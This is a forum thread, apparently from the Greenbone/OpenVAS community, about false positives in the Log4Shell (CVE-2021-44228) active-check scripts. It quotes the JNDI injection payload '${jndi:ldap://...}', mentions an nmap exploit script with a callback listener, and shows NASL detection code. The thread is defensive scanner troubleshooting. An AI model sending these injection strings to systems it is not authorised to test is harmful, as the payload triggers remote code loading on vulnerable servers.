This has been a long week so far, so please correct me if I’m misunderstanding something. After we had no findings for some time, we found more devices that were affected according to the test results of the Greenbone. In the meantime, we assume that many of them have been tested false-positive, because we have confirmations from the manufacturers.
Now we wanted to track the whole thing to not miss potentially vulnerable devices and looked at the associated NASL files. Especially the “gb_log4j_CVE-2021-44228_http_active.nasl” file. To test if our results are correct, we have adapted the payload so that it no longer makes an LDAP request to the Greenbone, but instead relies on a self-generated Canary token.
changed code looks like this:
This token should give us feedback via email if exploitation of the vulnerability was successful. So far, not a single notification in this regard. We naturally assumed that the Greenbone would not find any more Log4j vulnerabilities, since they are not reported back to the Greenbone at all.
But in fact we still get false positives, can anyone explain why? Is the whole thing caused by port conflicts?
that looks interesting (in the way of “not sure what it’s doing” interesting) and it might still be the port issue but I’m not certain. I won’t have an answer today but will revisit it tomorrow if I can.
I am suspecting a false positive with 2021/apache/gb_log4j_CVE-2021-44228_tcp_active.nasl
By sending the following request:
${jndi:ldap://172.17.0.2:48973/a}it was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host on port '48973/tcp'.
On a Windows Server acting as a Domain Controller. Detected on port 135/tcp. That shouldn’t be possible I think.
I used this new scan config with default settings ( log4j ) and it looks like it brute forced a number of servers bringing some down due to number of password attempts - I’m seeing brute force is disabled in the config - anyone having this issue?
Would it be possible to allow a Scan config option for these log4j nasl to use a defined hostname/IP rather than this_host() as ownip? And also to provide an accepted “listener” port range?
We are getting false positives, which we suspect is related to already open ports, and our scanner is NAT from the rest of the network, but they can find it using a DNS name.
Thanks for all the work on this.
We have installed the latest feeds and see the CVE and NVTs for “log4j”
However, when we create a custom scan just for log4j vulnerabilities on a system we believe is vulnerable, we don’t see a positive result. The QoD is set to 70% and the OpenVAS scanner can see the internal IP of the system.
Could anyone help me understand how the Log4j NVTs detect this vulnerability?
I understand these NVTs as sending HTTP requests containing the payload ${jndi:ldap://ipaddress:port/a} and consider the vulnerability present if the target machine sends a request to the specified IP address and port. Are there details as to what the response looks like that triggers a positive detection?
We’ve detected Log4Shell on one system on a specific port. We narrowed our scan config and have seen a handful of additional positive detections, however, the positives are very intermittent. I would think this vulnerability would be exploitable close to 100% of the time if it existed.
Greetings,
I believe the report from GVM is not to be trusted because in our case it found the vulnerability but it is for sure a false positive. Let’s see:
We get the below from the scanner:
Issue
-----
NVT: Apache Log4j 2.0.x < 2.15.0 RCE Vulnerability (HTTP, Log4Shell) - Active Check
OID: 1.3.6.1.4.1.25623.1.0.117823
Threat: High (CVSS: 10.0)
Port: 443/tcp
Summary:
Apache Log4j is prone to a remote code execution (RCE)
vulnerability dubbed 'Log4Shell'.
Vulnerability Detection Result:
It was possible to trigger the vulnerability and make the remote host sending a !
request back to the scanner host on port '53907/tcp'.
I could not find a way to locate the NSE script being used by GVM (I would appreciate if somebody sheds some light on how to determine this) so instead I went ahead and tried out giterlizzi nmap-log4shell.git from a fresh box. This script uses a callback server (simple ncat will do) and an nmap NSE script that tries to exploit the log4shell log4j vulnerability. We are unable to observe any callback:
In the arguably compromised server we know that there are no java services running but we nevertheless try to find class, jar, war and ear files and we observe none:
@nestoru Depending on your installation, I found the detection script under the following path: openvas/plugins/2021/apache/gb_log4j_CVE-2021-44228_http_active.nasl
This is a general update and I apologize for not being able to respond to everyone individually. I’d also like to welcome our new members, though I wish it had been in better circumstances.
The following isn’t everything, but here are some of the more common issues:
With regards to false positives: thank you for your reports and comparisons and digging into them. We’re working to remediate those.
We also have a new scanning configuration on the way which should help with some of the issues you are seeing.
As far as ETAs (release times) I don’t have a specific answer, things are being updated as we go along (and will continue to be).
Please continue to share findings here and helping each other out.
Also, just an FYI (for your information) reminder for Greenbone Hardware Appliance and Professional Edition customers, you can head over to the support portal and open a ticket here: Service Management
We have created a custom scan to look for Log4j (about 13-14 NVTs). However, when we run the scan on a subnet, we are getting an error: “NVT timed out after 320 seconds.”
Thanks @crisio, the code is clearly not checking for the callback payload and yet claiming it does. The false positive is right there:
res = send_capture( socket:soc, data:req, timeout:5, pcap_filter:filter );
close( soc );
if( res ) {
report = "It was possible to trigger the vulnerability and make the remote host sending a request back to the scanner host on port '" + rnd_port + "/tcp'.";
and thank you for hanging in there with us 